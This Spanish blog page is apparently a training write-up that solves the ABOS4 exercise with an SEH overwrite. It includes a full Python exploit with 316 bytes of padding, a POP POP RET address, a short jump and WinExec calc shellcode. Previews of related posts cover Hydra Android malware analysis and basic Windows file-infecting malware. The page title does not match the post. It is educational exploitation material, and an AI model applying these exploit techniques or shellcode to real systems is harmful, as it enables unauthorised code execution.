Ir al contenido principal

Hydra android malware (Part 2)

Resolucion 2 ABOS4 SEH

Buenas de nuevo,

Esta entrada es la continuación de la resolución del ABOS4, visto en la entrada anterior. En este caso, lo haremos machacando la cadena SEH.

Como tenemos una idea de como estaba compuesto el binario anterior, aquí nos vamos a centrar en la construcción del exploit.

Sabemos que debido a la característica del SEH en x86, cuando se produce una excepción se lanza el manejador de excepciones, y este está compuesto por 2 campos:

  • Dirección del siguiente SEH
  • Dirección que se encarga de gestionar la excepción.


Primer paso que debemos hacer, es provocar una excepción en el primer gets() para ello vamos a generar una cadena "pseudoaleatoria" de un tamaño enorme hasta provocar la excepción.
Con x32Dbg vamos a ver la dirección que hemos machacado en el SEH chain y así sacaremos el tamaño de relleno que tenemos que introducir para machacar el controlador de excepciones:

Para construir el exploit usaremos python, ya que es mas sencillo su uso:

random_string = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 3000)) #Generamos cadena gigante pseudoaleatoria, para sobrescribir la dirección que gestiona el SEH.

Miramos con x32Dbg la dirección que se ha machacado y vemos que hay una distacia de 316 bytes entre la posición de la variable var_a_machacar que pasamos como parámetro al gets() y el next_seh.

Por lo tanto ya sabemos que hasta machacar el SEH tenemos que introducir por el gets() 316 valores.

payload = 316 * b'A' + Dir_nextSEH+ Dir_SEHhandle ....

Por las características de SEH en x86, hemos visto que la cuando entramos en el código de gestión de la excepción, la dirección del próximo SEH se encuentra 3 posiciones mas abajo en la pila. Por lo que si tenemos en nuestro ejecutable las instrucciones POP X + POP X + RET --> podremos saltar a ejecutar la dirección indicada en Dir_nextSEH.



Localizamos en la dirección 0x00401F2D, la secuencia de las instrucciones pop, pop y ret. por lo tanto, esa sera la dirección que pondremos en Dir_SEHhandle y esto hará que ejecutemos lo que pongamos en la dirección Dir_nextSEH que en nuestro caso sera:

0x90 --> NOP
0x90 --> NOP
0xEB06 --> Salto a los 6 bytes mas abajo, para saltar los 2 bytes de 0xeb06 y los 4 bytes de Dir_SEHhandle (0x00401F2D) y empezara así a ejecutar la shellcode que pongamos a continuación que esta detallada en una de las entradas anteriores del blog.



Por lo tanto nuestro exploit quedaría de la siguiente manera escrito en python:

from subprocess import Popen, PIPE
import struct
import random
import string


#Creamos el PAYLOAD

payload = 316 * b'A'  #--> Relleno inicial para llegar a la direccion del SEH
payload += b'\xeb\x06\x90\x90' # --> Dirección del proximo SEH
payload += struct.pack ('<I', 0x00401F2D) # --> Dirección donde encontramos el POP POP RET
winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
aniadimos_exit = b'\x68\x33\x12\x40\x00\xC3' #--> PUSH 0x00401233 + RET (exit())
payload += winexec_calc_shellcode
payload += aniadimos_exit
payload += b'A' * 3000 --> Provocamos la excepción.

#Lanzamos el payload creado:

p1 = Popen(r"C:\Users\juan\Desktop\Curso_Reversing_freeTools\ejercicios\Ejercicios\ABOS\ABO4_VS_2017.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()




Un saludo



Comentarios

Entradas populares de este blog

Hydra Android Malware (Part 1)

 Buenos Días, Hoy escribiré una entrada de análisis de malware en Android después de un tiempo sin escribir por aquí. La idea era coger de nuevo soltura con las herramientas open-source que hay para el análisis de aplicaciones android. Estuve leyendo información sobre alguna familias y me tope con Hydra (siguen apareciendo casos activos en Android (Twitter)) y me puse con ella. Arranqué con la lectura de este blog : Es el "padre nuestro" de la primera parte de nuestro tutorial, lo único que voy a hacer yo aquí en la primera parte es "puntualizar" algunos problemas que me he encontrado durante el análisis al seguir su tutorial. Información de la muestra y Herramientas:  -) Muestra : 46aeb04f2f03ebe7c716fc6e58a5dea763cd9b00eb7a466d10a0744f50a7368f -) JADX : Para poder leer el codigo Java/kotlin decompilado de la aplicación. -) Apktool : Para hacer el dissasembler de la APK, y poder parcherla y reconstruirla.  -) Ghidra : Decompilado de librerias Nativas. -) GEF : Debu

Radare2- Set de comandos básicos

Buenas a todos y Feliz navidad lo primero. Entre mantecado y mantecado, y motivado por el curso de Ricardo Narvaja (CrackLatinos), me he decidido a publicar una entrada que es mas para mí que para el resto. Pero supongo que puede ser útil para otras personas, de ahí que lo ponga lo mas bonito posible en la web. Vamos a ver un "cheatsheet" con comandos útiles de Radare2 y su funcionalidad, todo esto puede extraerse del --help de las herramientas, pero para los que como yo le gusta ir al grano y ahorrar el mayor tiempo posible, tienen esta entrada. RABIN2: rabin2 -I file_.exe --> Nos proporciona información básica del binario, como arquitectura, y las protecciones del binario como (nx,dep,aslr...) rabin2 -i file_.exe --> Nos muestra los imports del binario. rabin2 -e file_.exe --> Dirección del Entry point. (Dirección virtual y raw offset en el executable) rabin2 -zz file_.exe --> Muestra las strings rabin2 -g file_.exe --> Este comando nos muestr

Desarrollo de Malware Básico en Windows (parte 2)

 Buenas de nuevo, en esta entrada continuaremos (y cerraremos) el capítulo de desarrollo básico de malware en Windows. En la entrada anterior, ya teníamos guardadas las APIs que íbamos a necesitar para nuestra infección, así que ahora nos ponemos con el proceso de infección en sí. Pasos para la infección: 1)Necesitamos obtener el handler de los ficheros que hayamos indicado en la variable "mascara" (.exe) , en este caso ejecutables                                                                          2)Haremos uso de las APIs FindFirstFileA y FindNextFileA , para buscar los archivos que queremos infectar, con las APIs GetWindowsDirectory (C:\WINDOWS) y GetSystemDirectory tendremos acceso a 2 rutas distintas(“C:\WINDOWS\SYSTEM”), con la API SetCurrentDirectory haríamos el cambio de escritorio al escritorio donde estarán los ficheros que queramos infectar. Durante la explicación del código añadiremos el prototipo definido por la MSDN para que sea más fácil la v